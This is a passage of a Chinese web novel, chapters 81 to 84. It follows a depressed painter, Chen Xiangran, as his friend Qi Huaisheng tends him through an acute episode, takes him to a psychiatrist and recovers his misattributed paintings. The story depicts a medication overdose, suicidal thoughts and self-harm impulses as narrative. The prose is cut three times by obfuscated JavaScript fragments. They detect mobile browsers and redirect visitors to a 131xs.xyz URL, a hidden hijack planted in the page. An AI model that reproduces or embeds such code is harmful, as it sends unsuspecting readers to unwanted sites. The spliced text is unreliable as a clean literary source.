陈向然的声音很低，很沙哑，在喉底闷沉地咆哮。齐怀生太久没听见这个声了，每个字都在心里掀起巨浪。他闭了会儿眼，很快冷静下来，什么久别重逢近乡情怯都抛到脑后，他知道当下该做什么。 他后退几步，左右见巷里无人来，一个箭步上去踹开了里门。 81. 关系 他又弄丢了。 曾经画廊老板看见张扬的白色少年，张口便是高价，要陈向然也出个理想价，数字好商量。陈向然不卖。也不知是不是扮相寒酸了点，得到了一句“理想很崇高，但不能当饭吃”的评价。 如果那时候他没舍得撕毁，现在也不可能将它出手。他的理想没什么崇高的，那是一份支撑的念想，如此而已。他有时也怀念和姥爷一起完成的老屋画，凭着记忆又摹画出来。同样的，他不卖。 二十多年，以画发泄，挽留那些沉甸甸的回忆，轻如鸿毛的一卷出手，变成一个轻薄的数字。老屋、少年，连同蝶笼，三幅画消失不见。 至少龙皓没骗他，算起来是卖了个好价钱。 他谁也不怪，情绪的刀刃向内穿刺，潜伏在身体里的绝望弥漫开来。他把龙皓赶出画室，门关上，在墙根下缩成团，缓解躯体化疼痛。他很熟悉了，黑狗来了，就像老朋友一般。但这老朋友不能让外人见着，只能自己招待。 黑色的气息膨胀升腾，笼罩在头顶。他索性持笔，对着画布不拘规则地涂鸦。他发泄时胸口灼烧，眼睛发热，像囚笼里发狂的兽。颜料四处泼洒，于是墙壁、天花板斑斓迷乱，无一幸免。 发泄完他又蜷缩起来，用尽全身气力等着急性发作过去。这时龙皓又走进来：“老师……” “出去……”陈向然遏制住持刀的冲动，往更角落处挪动，“出去！” 龙皓要来扶他，他便挣扎。这孩子又高又壮，力气大得很，拉着他一只胳臂要把他整个人提起，他不依，一脚踹在人小腿上，大喊：“滚出去！”说完，仅剩的理智让他责怪自己失态，蹲下去，拿了件外套蒙住头：“别看见我……” “老……老师，你的药在哪嘛，我给你拿。”龙皓手足无措。电话里被陈向然训过一通，料到会碰上发作，仍想过来道个歉，顺带送些东西。他不是第一次看见陈向然发病，但依然招架不住。 想起有人因他患上这样的疾病，他没法放着不管。 这时肩上一个极大的力道，倏然将他拉向一边。回头一看，那位“面色不善”的“老大哥”竟众里寻他，私闯民宅…… 再回首，门锁坏了…… 他于是悻悻退出画室，扒着门框偷偷看着。 陈向然念着“走开”，声音凶狠地发着抖，脸埋在臂弯，额角垂发被汗湿成撮。他感应到有人靠近，愈发往后缩，紧贴墙上。他大约是想防御，试着抬起一点头，那双熄灭的眼睛如深不见底的黑洞。龙皓不是第一回见到这样的眼神，依然不忍地抹了抹眼睛。 忽然他见那人张开手臂贴近陈向然，不禁上前一步叫了声：“喂，别碰他……” 对方已经把陈向然拢进了怀里。失控的小兽奇迹般没有挣扎，反倒安静下来。深深喘息着，眼睛发红。发作渐渐过去，慢慢进入肢僵状态，意识不清。 陈向然深吸气，凝神静气的檀香萦绕鼻梁。小时候的感官刻进灵魂，让他感到安全的人，身上都有这样的檀香气。 睁开眼光斑蒙蒙，耳边录音机放着唱经声。柔软的跪垫，香炉窗前，一枝春色一缕烟。半睡半醒中抓紧姥姥的花衬衫，用方言喃喃“阿嫲”和“返家”。是儿时的光景。紧接着四下黑暗，只剩殡葬厅里几簇烛火。昏蓝的海洋馆里，父亲的脸水纹浮游，笑得像黑夜里的鬣狗。一幅幅画卷扯作碎片，满手、满脸都是颜料，红色的、橙色的、黑色的……旋转扭曲起来。 再闭上眼，幻境倏然打破，有人捧起他的脸，指尖摩挲过粗糙的小胡子。轻轻拨开他汗湿的鬓发。一个热烘烘的怀抱笼罩他，大手在背上轻轻抚摸。 “药在哪里？” “黑袋子……”陈向然闭着眼睛，顺应本能靠近这股气息。 药片入口，舌头感知到形状，他知道是阿普唑仑，两颗。也不可说所有精神药物都不是速效药，至少两颗安眠药可以让他迅速入梦解脱。后脑勺被扶着，清水灌进口中。吞了药，他更加昏沉。迷糊中身体渐渐腾空，而后被一团柔软包围。 他被抱到床上，盖好了被子。 一觉睡到日上三竿，醒来时脑袋还沉。他揉揉后脑勺，瞥见床边堆了些东西——都是自己缺少的生活用品和颜料。他曾拜托龙皓买的，当做学费。厨房有人，常年不用的油烟机竟然响了起来。 城中村房屋设施陈旧，有空调已是顶配。厨房的设施他从不敢用，于是成了杂物间。龙皓前不久来上课，要借炉子给外卖加热，才把东西从厨房清出来。 “龙皓。”陈向然试着喊了一声，尾音哑在喉咙里，被油烟机的声音盖过了。 他只好掀被子下床，一步三晃地走出房间：“龙皓！你小子别用我厨房。龙——” “龙什么？” 说话的人回过头来，手里端了盘炒饭。他顶着一头散乱的长发愣住，围着围裙的男人转过身来，他尴尬得浑身僵硬。 檀香气，问他药在哪的冷沉的声音，手的触感，怀抱的温度……昨晚的一切冷不丁从记忆深处冒出来。这么多年后再见到齐怀生，竟是以他最不想让人看见的姿态。 “龙皓，你学生？还是别的什么？”齐怀生越过他，将炒饭放在桌上，再返回来盛第二盘。 他看得到齐怀生的变化。 他以前喜欢让头发长得遮住脖颈，偶尔扎了一寸长的小刷子。现在只留了个大众发型，盖下刘海。连做个饭都站姿笔挺，没一点流气。 看过来的眼神也和从前不同了，陈向然心想，和昨晚炙热的温度也不甚相同，像是场梦。他盯着地板，默默坐在餐桌边，直到齐怀生将炒饭推到他面前。 热气升腾，扭曲了视线。是紫菜炒饭，料很足，像七八年前他在塘泽吃的那一盘。卧了两只墨鱼仔，市场买的，不如塘泽海边的新鲜。 “是我学生。”陈向然拿起勺子，忽然接上了话。 “喔，让学生给你买牙刷和卫生纸？”对方隐隐带了点找茬的意味。 “他会来上课，顺道让他买。” “学费多少？不如也教教我，然老师？”称呼上加了重音。 “……”陈向然听不出调侃还是讥讽，不接话，只是吃着饭。墨鱼仔放在一边没有动。 很多年不和人打交道了。每天说的话掰着手指能数过来。他知道疾病在一点点歪曲他的性格，变得愈来愈沉默。 盘子扒了个干净，齐怀生服务一条龙，还顺便给洗了锅。从厨房出来，一眼也没看他，取了外套，是要走了。 陈向然到门口送他，想问的很多事没问出口，只说：“谢谢。” “我要去叶知那，一起？”齐怀生拎起车钥匙，发出叮铃一声。 他忽然这么说，陈向然张了张口，一时怔愣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302000|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不管齐怀生要去哪，只要他发出邀约，陈向然便想去。先是想去，后是退缩。他惧怕、恐慌，迈不出这一步：“不了，我没挂今天的号。” “嘁，都老同学了，不知道找人加个号？”齐怀生一手刷着手机，一手戳在褐色皮外套的口袋里，“怎么样？走吗？” 到这份上了，怎么着都不可能不走了。 陈向然犹豫着挪动半步，心想这人一定昨晚就盘算好了，今天要带他去看病。偏不直说，迂回引他上钩。或许……在他去叶知那儿首诊后，兄妹俩就串上了。 他攥着羊毛袖口，从齐怀生不断翻手机的动作里感到他的烦躁，盯着地板的目光抬起一寸：“你……是不是心情不好？” 齐怀生的背影定住片刻。 语气放软了：“我很好，走吧。” 陈向然跟在他身后，背微弯，细数着地上黑洼的沟壑。前面那双时尚的运动鞋停下来，他也跟着停了，等对方递来头盔。 齐怀生没拿，两个头盔吊在车把上，穿巷风袭过碰出清脆的两声响。他发觉头发一松，皮筋被齐怀生小心地取下来。一双大手充当梳子，拢起垂落的披肩发，重新扎好，扎成一个清爽的发揪。 最后罩上头盔，没说一句话。 陈向然坐在后座，挺着个身子，半点不接触齐怀生。从城中村拐上大马路，在车流中钻行。齐怀生大概没少去医院，抄近道、找停车位无比熟练。陈向然几乎乖顺地跟着他走小路，门诊楼不经意间便到了。去了精神科没见到叶知。前台护士说，叶医生今天不出诊，应该在住院区。 “她刚独立看诊半年，还没有病人住院。”齐怀生边走边告诉他，“估计也见不着。” 陈向然总慢一步，落他一个肩头。下了两天雨，终于出了太阳。医院的走廊都是暖白色的。齐怀生穿白色外套，镶了银色铁片，整个人都是暖的、发亮的。 “没关系。”陈向然说。 齐怀生皱了好一会眉，斟酌着说：“药快吃完了，真没关系？” 正想问他怎么知道的，陈向然想起，昨晚是他喂自己吃的药。 两人在住院区门口等待许久，叶知从里面出来接人：“哥，你等我出去不就——” 看到陈向然，话语戛然而止。叶知飞速思考这两人现在什么关系。一个冷脸，一个生无可恋脸，她总觉得陈向然是被迫提前来复诊的。 “那个……”叶知翻着病历，“看病的话，去护士站等我一下，我有患者要处理。” 齐怀生说：“我们进去等。” 大城市的住院区床位更紧张。陈向然不过偶然涉足，就能碰上被迫出院的中度症状患者。大哭大闹的新患者被保安强制抬进来，用布条绑上病床。输液针扎进手背，才渐渐安静。 叶知像没看见一样，路过那个激烈的患者，走进了一间病房：“18号床，陆向……” 陈向然晕乎乎地要跟着进，齐怀生牵了他一下，示意他往这走。 陈向然看了眼被捏了一下的左手，又看看前面的人。 “陆向……”齐怀生嘟哝着，大大方方地霸占了叶知的转椅，“你听过这个名字吗？” “没。”陈向然也坐下，仰起头深呼吸，“怎么了？” “没怎么。”齐怀生努力回忆那天的画展，“就是想到你的艺名，也姓陆。” 82. 回避 陈向然迟钝地想着艺名是什么，自己如何有了艺名。想到自己是个画者，心想齐怀生不关注美术圈，怎么说起艺名了。 “我哪来的艺名。”陈向然说。 齐怀生不知是不是定住了动作。有些不自然地转过头去，用后脑勺对着他。不再提起这件事。 “怎么了？”陈向然追问，果不其然没得到回答。 叶知正在这时进门，二话不说赶走自家老哥，霸住电脑，登录医院的门诊系统：“最近，怎么样了向然？” “挺好——” “急性发作。”齐怀生抢过话头，手警告似的抓在他的椅背上，“是叫这个名吧？” 叶知在电脑上敲下症状：“你让他自己说。” “他要能说实话，我把脑袋摘下来送你。” “呵……破脑瓜自己留着吧。”叶知转动椅子，面对陈向然，“有没有按明细吃药？” “有。”陈向然瞟了眼齐怀生，对上一双严肃质疑的眼睛，“真的吃了……” “我不是问吃没吃。陈向然，”叶知挪近他，看着他的眼睛，“你有没有过量服用？” 陈向然躲避目光，说不出话。 “说实话，首诊的话，我们医生不敢给开太多药的。最多给你开两周，现在才几天，我哥刚说你药吃完了。” 叶知算优秀的医生了，经验尚浅，但一如既往的善于洞察。找不到老屋画和白色少年图那天，为了镇静下来，他一次吃光所有心境稳定剂。副作用太强烈，一天内吐了六次，也基本吐光了。 齐怀生眼睛发红，看他的眼神像是要吃了他。陈向然后知后觉地发现，齐怀生以为他想自尽。像七年前那样。 “齐怀生，我……”他伸手去拉人手腕，隔着衣物发觉对方在颤抖。 齐怀生比年少时更快平复自己，说：“吃药后有什么反应，跟叶知说。” “没有感知，或者呕吐，嗜睡，坐立不安……” 他终于开始认真回忆这几天的病情，问诊也顺利多了。到了最后，陈向然还是如上次那般，问“吃药和理疗真的有用吗”，他说：“这是心病，对吗？” 打印机铿铿地响，叶知接到诊疗单和处方笺，提起笔各画了俩圈，算是签名。她不紧不慢地把单子都递给了齐怀生。低垂眉眼说：“陈向然，你是想问，我怎么好起来的，对吧？” 陈向然注视着她。 叶知叹了口气，眼里尽是不忍：“我本不想和你说这些。每个人情况不同，我算是幸运的那一个。仅仅发现了导致我抑郁的原因——也就是所谓‘影响源’，我就慢慢好起来了。我摆脱那些过去，坚信我每一个理想都有价值，因为我找到了实现它们的方式。如果你按照我的方式好不起来，或许会让你更陷入绝望。”她再度抱起住院记录本，往门外走，“就先这样吧，我还有病人要看，你们要走要留都行。” “留。”齐怀生不等他沉思完便抢话，“让我们看看你的患者治疗，可以么？” “你们自便。”叶知的声音已经在走廊上。 陈向然从头到尾仿佛没有人权。阐述病情被抢，诊疗单不在自己手上，现在无法上药房也不能逃离医院，被齐怀生拉去叶知的查房现场。 “20号床，杨翎。” 床位在倚靠墙角的位置，拉着帘，只露一角空隙。那是个女孩，刚醒来，睡得头发凌乱。她的母亲端坐在床边凳子上。许是下班后来的，还穿着职业装，整洁而一丝不苟。 女孩耳垂上还夹着电流治疗仪，垂着头。叶知叫她，她缓缓抬起头，露出一双湿漉漉的惧怕的眼睛。 “这位是妈妈是吧。”女孩不好沟通，叶知先找话题切入。 “啊，是的医——” “不是。”杨翎喃喃念道。 杨母勉强笑了笑：“翎翎你说什么呢？” 杨翎不说话。 “喂，杨翎。”杨母扳过她的肩膀，让她面对自己，“你不能老是这样。这样什么时候才能回去上课？你知道你高二了吗？妈妈牺牲了那么多，每天看你这样心都要碎了……” 别的床位也无非是患者呻.吟、护工敷衍。拒绝治疗的少年激烈地蹬踏病床，其余人只瞥上一眼，俨然习惯。封闭式病房只剩那么一扇窗。一位老者被女儿搀扶着，浑浊的眼望望天空。阳光白蒙蒙的，有种虚假的安宁静好。 陈向然别过脸去。听见叶知说，血检结果已经出来，血液中药物成分接近于零。有患者看到她拿着药袋进了厕所，出来时两手空空。 恍然间病床上的好像是过往的自己，一只伤痕累累的小兽在冲撞囚笼，最亲的人一个接一个将他拉进深渊。 他转身走人，被齐怀生挡了去路。 陈向然被这闹心的住院区扰了心神，蹙起眉心：“让开。” 齐怀生举起两张纸：“你单子没拿。” “不用了。” “为什么？”他听出齐怀生在压抑怒火。 他从未见过哪个患者康复的例子。不，即便见过，他也无法理解——什么是康复，什么是正常。他所谓的正常的人生，在很遥远的过去。 看看这一走廊挣扎的人，陈向然听见他们之间的聊天。失业的中年男人坐在床边驼着背，同医生说自己谎称出差背着家人来此治疗。产后抑郁的少妇哭着说自己竟想过掐死孩子。双相情感障碍的青年安安静静坐在走廊，身边的护工轻轻对隔壁人说：遗传的，以后不可能成家了。 世间苦甚多，乐何从生长？ 他发觉快乐也是一种能力。他没有，药物也不能让他拥有。 陈向然轻轻说：“你又为什么呢，齐怀生？” 为什么拥抱他，为什么留下来陪他，为什么帮做饭、带他看病，特地让他旁观别的患者治疗？接下来，还想做什么呢？ 他问出问题时后退了一步，转身便走。齐怀生伸出手，顿住，收了回去，挠挠头发。 “你是不是，想找回那几幅画？” 陈向然止步。 “委屈自己，廉价售卖，你想要的‘理想’就是这样吗？”齐怀生朝那个绷紧微颤的背影走去，“有人窃取了你的成果，知道吗？利用你的画技和对方的虚名，反手倒卖。” 来来往往的患者，没有人朝这边瞥上一眼。陈向然不晓得自己怎么就迈不开步了，沉如落井的声音倏然出现在脑后：“或者你其实明白，但你放任如此？” “不……”陈向然哑声说，“我刚知道。” “难过吗？” “不。” 齐怀生忍耐这人的不配合和口是心非，重重呼出一口气：“我帮你一起，拿回你的画。” “说了不。”陈向然转过身，退离三尺，目光低垂，不与他对视，“你到底想干什么，齐怀生？” “我只是觉得画画对你很重要。” 阳光照不进这里，走廊簌簌发冷，陈向然的呼吸在抖，轻轻呵出一口气：“无所谓了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302001|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 趁对面正愣着，他碰开对方肩膀径直离开住院区。 没有齐怀生的小电驴，他转乘了两次公交才到城中村附近。回到家，龙皓不出意外地，像株植物一样栽在家门口，蹲地上咧嘴傻笑。手里提了一个白色的不透明袋子，里面似乎有好几个四方盒。 “那个叫……齐怀生，生哥，他让我把这个带给你。叫我多提醒你吃药呢然老师。” 陈向然一愣，盯着一盒盒药。齐怀生的脸、体温、声音包围了他的大脑。他牙关紧咬，把嘴唇紧紧抿作一线。手缓缓伸到袋子前——一掌拍开了。 龙皓攥紧了没让药整袋飞出去。 “怎么了嘛，然老师。”他跟在陈向然身后，钻进住宅。 陈向然平时也不和龙皓多话。因而龙皓只能读取他的脸色。读到矛盾而恼怒的情绪，便不敢说话。他偷摸摸将药放在餐桌上，拍了张照。觉得不够，又自拍了一张“到此一游”照，上传给齐怀生。并附上留言： 生哥，在下尽心尽力，经过一番苦口婆心，对然老师生动传达了您对他的关心、担忧与殷切之情。然老师大为感动，决心不辜负生哥好意，坚持在我的监督下配合治疗，争取早日与生哥再聚。 消息发出，屏幕静止了十分钟有余。在气氛愈发诡异之前弹出一个红包窗口。 龙皓点击收取，五十元。 他甜滋滋地笑，舔着下唇飞速打字：其实钱什么的没那么重要啦。 想了想，在句末补上两道婉转的波浪线。 对面发了语音过来，龙皓切换听筒模式，一个如冰如砾的声音震得他耳膜发酸：“杨翎的事我帮你。” 龙皓抱着手机，激动得弯下腰，尽量不让陈向然听见他喉咙底的笑声。 “还有，”齐怀生冷不丁又发来语音，“陈向然不可能想见我，更不会瞎他妈感动。少给我添油加醋。” 龙皓连忙恭敬：是是是。 “陈向然呢？吃药了没？” 他看着两个问句，笑容一点点敛去。回头，陈向然卧室的门依然紧锁，毫无动静。 陈向然把自己锁进房间。 黄昏自握手楼的间隙上方钻进来，切进一角柔和的橙黄。尘埃的灰影在墙上浮游，如涌动的水光。他靠着门板坐下来，仿佛置身海中央，凝视着床上两个枕头。一个是他的，一个是常年不用的备用枕头。齐怀生睡了一晚的褶皱还在。闭上眼，似乎隐约还能闻到檀香。 ——“孩子，老衲不晓你吃了多少苦。” 闭上眼睛一片黑暗，他许多年听不到他的鲸，脑海里这时响起这个声音，混杂山顶的风声，寺庙的铜铃声。 ——“但你的朋友还牵挂你。” “你是谁？”悬崖边，十七岁的陈向然回过头，大风刮起鬓发，遮去半边苍白的脸。 五月梅雨飘落，天地腐朽。此方寂静辽阔，庙里准点唱经、撞钟，只山下那点红绿操场躁动不已。 中年男人双手合十：“法号玄慧。我见过你。那位牵挂你的朋友向我介绍过你。” 他不在意齐怀生是不是向他讲过这么个故事，这么位师傅，只说：“他不该牵挂我。” 他不该牵挂我…… 二十多岁的陈向然抱着膝盖，闷头回想那一刻，嘴唇翕动着自言自语。 若我不再存在，他们兴许过得更好。他想，亲人、朋友，都会更好。只要他放下奢求，远离人间。 便再没有人为他牺牲和心碎。 83. 陆引 齐怀生摘下耳机，一蹬桌脚，电脑椅向后滑出一段。手里笃笃聊着微信。 申恺调侃他：“唷，才录一遍就休息。跟谁聊？” “叶知。” 申恺翻了个白眼：“以为你谈恋爱呢那么专注。”说完甩着一身骚气的铝饰，蛇一样扭出房间，“砰”关上卫生间的门。 不是他想专注，实在是叶知在工作上不那么好说话。要她帮着空出点时间，让龙皓独自探望杨翎——前两次尚且顺利，此后每一次，叶知都要骂，长篇大论不带重复变着法儿地骂。抱怨完了还是得帮着安排。一个多月了，这两次叶知打死也不干了。 她难得不骂，反常地严肃：别再跟我说这事了，最近不方便安排。 齐怀生皱起眉：出什么事了？ 叶知发了个摊手的表情包，不再说什么。他于是放弃求人，将手机扔到一边，捂着脸深呼吸，吐出一口浊气。 这一个多月里，龙皓是齐怀生的“眼线”，负责报告陈向然的病情和服药情况。这机灵孩子当然不白帮人，要齐怀生承诺安排他单独探望杨翎。他强调，是“单独”，不能碰上杨翎的家人。 齐怀生觉得监测病情为大，怎么都不亏，都满足他。顺便从叶知那问到陈向然的挂号时间，突突突骑着电驴假装路过公交站，头盔一摘，头发一捋，说同路，一起走不？ 一次两次，陈向然信了。后来他决定换乘地铁。 申恺的服装厂一月前出了紧急事件，大老板快马加鞭奔回去处理。再回来又瘦了一圈，但一脸真心的惬意显然是解决了问题。他拉着齐怀生到酒馆小酌，捧着小麦酒，表示这么久不见，自己是来听好消息的，然而他的脸色随着聊天越来越垮。 他掰着手指，一字一顿提炼信息：“你在某人家里睡了一晚上，给人做了饭，带人去看病。最后你告诉我，你要买他的画？哎，这是人没撩着反被推销成功？那天的事是烫嘴吗你就一个字不提？” “不是时候。”齐怀生向服务员要了一杯深海之蓝，“不能强求。” 听这“我佛善哉”的口气，申恺感到自己哥们儿下一秒就要入定了。 “那买画是干嘛？” “治病。” “……”我看你是有病。 齐怀生一边抿着小酒一边瞟对面，从那双眼中读出赤裸裸的鄙视，忍不住将酒杯叩在桌上：“我只是猜，画是他的心结。” “这不明摆的事么？” “但是，拿回几幅心爱的画就能治好，那也太简单了。”齐怀生摇摇头，一仰，杯中酒一饮而尽。 他忆起那天晚上。 天黑时他打开书桌上方的小日光管，为陈向然擦身子、换睡衣、盖好被子，准备离开。许是窗户对着的巷子太安静了，他听见几声微弱的哼声。一回头，陈向然在床上蜷缩，额上沁出冷汗，喃喃念着什么。他凑近了听，只听见几个词：废人、别靠近我、别救我…… 他伸出臂膀拥住对方，拂去不知什么内容的噩梦。陈向然眼角挂了汗珠，眼睫轻颤，发丝柔软的脑袋往他怀里钻。那样渴求依赖的微动作，与第二天在住院部走廊上那淡漠的眼神判若两人。 …… “他当初选择活下来，又没有真正活下来。他跟我说他无所谓，对那幅画，对他以前那么珍惜的东西都无所谓了。对我……也是一样。你明白吗？他把他自己看得太轻。” “所以……”申恺眉毛一挑，“你觉得强行接近他，会让他躲远？” “你觉得，我接不接近他，是陌路人、兄弟还是恋人，还重要吗？”齐怀生苦笑，“我只是不想放弃，我还有办法助他痊愈，这才是重要的。” 申恺重重靠在卡座的绿皮椅背上：“行吧，毕竟他跟所有亲戚朋友都断了联系。现在除了你，没人能救他。” “不，不是这样。”齐怀生眼神一暗，空空的酒杯里映出他半阖的眼睛，和缓缓开合的唇角。 “除了他自己，没有人能救他。” 齐怀生重拾七年前的淫威，迫使申恺掏出银行卡，资助他一部分资金。十多年的发小因此一路哼哼唧唧，收到齐怀生一个不怒自威的斜觑，才像个受惊的老鼠缩起脖子。 让他服气掏钱的还是陈向然的画。 展馆的设计绕人，通道蜿蜒，哪里都望不到头。申恺像个路痴被齐怀生引到陈向然的画前，一眼就认出了那色彩搭建的风景。 “这不咱学校么？”申恺伸手要碰，被齐怀生拍了手背。 “发现什么了吗？”齐怀生说。 申恺顾盼许久，站在蝶笼前挪不开眼。说他发现了，陈向然的技艺炉火纯青，色彩的过度更自然了。 齐怀生指指右下角的铭牌，申恺缓缓念道：“陆……金后？后面这字儿读什么？” 齐怀生说：“不认得。”那字儿是“銗”，无人用以取名的生僻字。于是他直觉这是个艺名。“陆”是陈向然前导师的姓氏，有一定纪念意义。因而他先前猜测，有可能是陈向然取的艺名。至于陈向然与陆老师关系如何，他算不上了解。 今天约了交易，等“画者”到场。他来早了，在展厅中央五颜六色的皮座椅上坐着等。画馆回荡着鞋底叩击木地板的声音，免费的展览，来的人还是不多。他等得疲倦，支着膝盖埋头——就见一根拐杖抵在了鞋边。 申恺吓得“腾”站起来。他缓缓抬头——是位老者。 这老者似乎天生就是画馆的人，与画廊一体，气度深沉。打光灯从他左鬓切割到右皮鞋，齐怀生看清那黑发掺了银丝，估摸六十岁左右，面有愁容，精神不振，而浑身上下还是整洁笔挺的着装。 是个有头有脸的人，或许还是画展的投资人，然而近来不甚顺心。齐怀生想。 “是您要买我爱徒的画？”老者开口。 不是铭牌上那个人，齐怀生不禁泄气。想来那位“画者”该是个年轻人，冒名售卖这样的事做不来。但如果背后有这么个人物在控制，也说得过去了。 “是的。您徒弟今天来吗？” “他……”老者叹气，“我听说他抑郁而亡，其实我与他多年没见了。” 齐怀生微微眯眼：“多年没见了，老师如何认出他的画来？我只是个买画的，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302002|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擅长弯绕，只想问今天这笔交易能不能达成。” “年轻人，急什么？”老人眼尾舒展，竟露出点狡黠的神情。 换作年少时，齐怀生已经要撸袖子了。他只是抿了抿唇，五官都透露着不满：“您贵姓？怎么称呼？” “姓陆。陆引。”满是褶皱和死皮的手指缓缓摸过铭牌上的姓氏，再摸摸蝶笼画上的油彩凹凸，深深怀念着什么，“你问我怎么认得他的画，中间那幅我见过，其它的我也能猜。你看他这蝶，光影和构图精进许多，但顿笔的习惯不会骗人。这就是他的画。年轻人……”陆引转身面对他，“你为什么买这几幅画呢？” 齐怀生毫不客气地盯着老者，刻意地说：“还给它们真正的主人。” 陆引没有被揭穿的窘态，只是惊异。而后意料之中一般，笑得一脸褶皱，点点画上蜷缩的蝶虫：“他是我最有天赋的学生之一。心性纯粹、丰富。我欣赏，可有时也担心。他妈妈曾经到我这来取走他的画，之后他就没有音讯。我听一个学生说，他撕了自己的画作，我就知道一定要出事儿。” “他撕了画？”齐怀生下意识看向身边的白色少年画，“什么时候？为什么？” 陈向然上过知名画展，高价售出作品，这些他听过。撕画……他难以相信陈向然会有这样的举动。那些画卷碎裂的画面，与蝶笼画上五彩的翅膀碎片叠合，绚烂而哀恸。他好像跟着陈向然一起痛起来了。 “你应该知道他在哪吧？那位‘真正的主人’。”陆引两眼眯笑，“带走这些画，亲自去问问他吧。” 齐怀生摁住兴奋起跳的申恺，冷静道：“多谢您。” “真不用花钱买啊？”申恺忍不住咋舌，眼珠子一斜，觑那铭牌一眼，“不是吧，那这个陆金后是谁啊？” “这就不重要了。”陆引拄着拐背过身去，“画拿回去，今天的事就忘了吧。别同向然提起。” 方才心照不宣没有提起的名字，陆引说出来，齐怀生还是心里一紧。 时隔一月，齐怀生再到城中村深处。 他趁着龙皓到陈向然家里上课的日子，在门外等了半个小时。下课时堵在门口，不让主人关门。 龙皓从屋里冲出来时表情不太好看，脸发白，眼眶发肿，半点不停留，溜之大吉了。 陈向然狼尾辫盘在身前，皮筋松垮。腿重心倾右，手还紧紧抓着门把。一用力，关不成。齐怀生向前两步逼退他，一脚踩在门槛上：“不请我进去坐坐？” 脸近在咫尺。陈向然垂下眼，躲避目光，抓门把的手微微松动：“来干什么，站这里说。” 齐怀生再前倾半步，眉梢一挑：“来上课，可以不，然老师？” 不知挑了陈向然哪根神经，他忽地恼怒：“玩笑也给我适可而止。” “不是玩笑，我还带了几幅作品，让老师鉴赏鉴赏。” 他从袋子里掏出一幅画，缓缓展开。满意地看到陈向然扩张的瞳孔。白色的少年，他们都知道是谁描摹了谁。 “怎么样？”齐怀生在那双凝视的眼睛下收起了画，“是不是该欢迎一下我？” 84. 同居 陈向然被龙皓喋喋不休烦了一下午，终于这孩子看了眼手机，说他要提前下课。于是赶苍蝇一样将人扫地出门。不巧又来一不速之客，脸皮极厚，将他的爱画据为己有，反手威胁。陈向然连门都懒得关了，转身进屋。身后“砰”一声，不速之客毫不客气地生闯进来，顺手关了门。 客厅没有茶几长椅，只一张餐桌，上世纪的圆面折叠桌，正对着电视。桌沿烂了，地上落了木屑。陈向然坐在靠窗的椅子，头微仰，顺手就点了烟，深巷天光和香烟浓雾交缠着模糊他的脸。他与世隔绝，又与这方与世隔绝的天地相和，与巷外喝卖声、修理声、电驴声融为一体。 他几乎不必看，就能找到烟灰缸的方位，在边缘掸去烟灰。指尖触碰到旧烟头——是烟灰缸又满了。烟灰碎落在桌上，他不在意，烟支送到唇边，只一瞬间，猛地被夺去了。 他像料到一样淡定，掀了一眼，齐怀生碾灭他几乎完整的一根烟，端起烟灰缸去厨房清洗：“这段时间，别再抽了。” 陈向然微微颔首，似笑非笑：“好多年了，我看你也没戒。” “谁没点快乐的不良嗜好呢。”话音从厨房传来，伴着玻璃缸叩击垃圾桶的声音，“但咱凡事有个度，行不行？” “教育起我来了？” “谁让我有你想要的东西呢？” 百试百灵，陈向然承认自己没辙。阴沉着脸进画室：“要走不用和我说。”说完锁上门。自从独自出来租房，他就养成了锁房门的习惯。 他背靠着门，疲倦地抹了把脸。常年封闭的窗帘缝隙外，是一场沉静而古旧的黄昏。屋里是齐怀生的脚步声、衣服的摩挲声。他望着窗外出神，有什么东西在变得丰盈。 微风穿帘而来，纱帘飘起，岁月的和光就多一分。傍晚是城中村的腌臜凌乱被粉饰的时间。 他如常发呆，半小时后回神，忍不住听听外面动静。厨房有滋油声，他还在，正在做饭。 安心走到摆满画具的桌子前，桌上的ipad还暂停在某个画面：一对夫妻踢着易拉罐，朝着日落方向回家去。电影是陆引当年推荐的，他看了许多遍，看着真知寿从白白净净的孩子变成一身脏污颜料的大叔，再变成疯子和差点葬身火海的“木乃伊”，反反复复拉进度条，都得不出一个答案。 房门忽然叩响。 “什么事？”陈向然问。 “开个门。” 门刚刚敞一缝，齐怀生就大刀阔斧推开踏入，左右顾盼，仿佛审视自己的新地盘,全然不当自己外人。陈向然瞪他，他也当没看见，拖鞋踩上一滩干涸的颜料，突然后退一步。视线沿着颜料的痕迹，看向墙上，望到天花板——点状、花状、泼洒状，五颜六色四下喷溅，宛若烟花。 “脏吧。”陈向然倚着窗台，捏着肩上的发尾，随口说道。 齐怀生笑了：“谁说脏？” “龙皓。”陈向然想起那孩子孜孜不倦讨教的样子，像自己过去那般痴迷，“小子嫌这嫌那。” 